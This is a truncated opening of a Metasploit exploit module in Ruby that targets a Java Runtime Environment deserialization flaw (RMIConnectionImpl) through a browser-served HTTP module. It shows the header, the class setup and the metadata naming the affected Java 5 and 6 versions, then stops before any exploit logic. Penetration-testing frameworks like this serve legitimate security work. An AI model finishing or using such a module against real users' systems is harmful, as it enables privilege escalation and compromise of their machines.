##
# $Id: java_rmi_connection_impl.rb 10257 2010-09-08 15:23:04Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	#
	# Superceded by java_trusted_chain
	#
	#include Msf::Exploit::Remote::BrowserAutopwn
	#autopwn_info({ :javascript => false })

	def initialize( info = {} )

		super( update_info( info,
			'Name'          => 'Java RMIConnectionImpl Deserialization Privilege Escalation Exploit',
			'Description'   => %q{
			This module exploits a vulnerability in the Java Runtime Environment
			that allows to deserialize a MarshalledObject containing a custom
			classloader under a privileged context. The vulnerability affects
			version 6 prior to update 19 and version 5 prior to update 23.
			},
			'License'       => MSF_LICENSE,
			'Author'        => [
				'Sami Koivu', # Discovery
				'Matthias Kaiser', # PoC
				'egypt' # metasploit module
			],
			'Version'       => '$Revision: 10257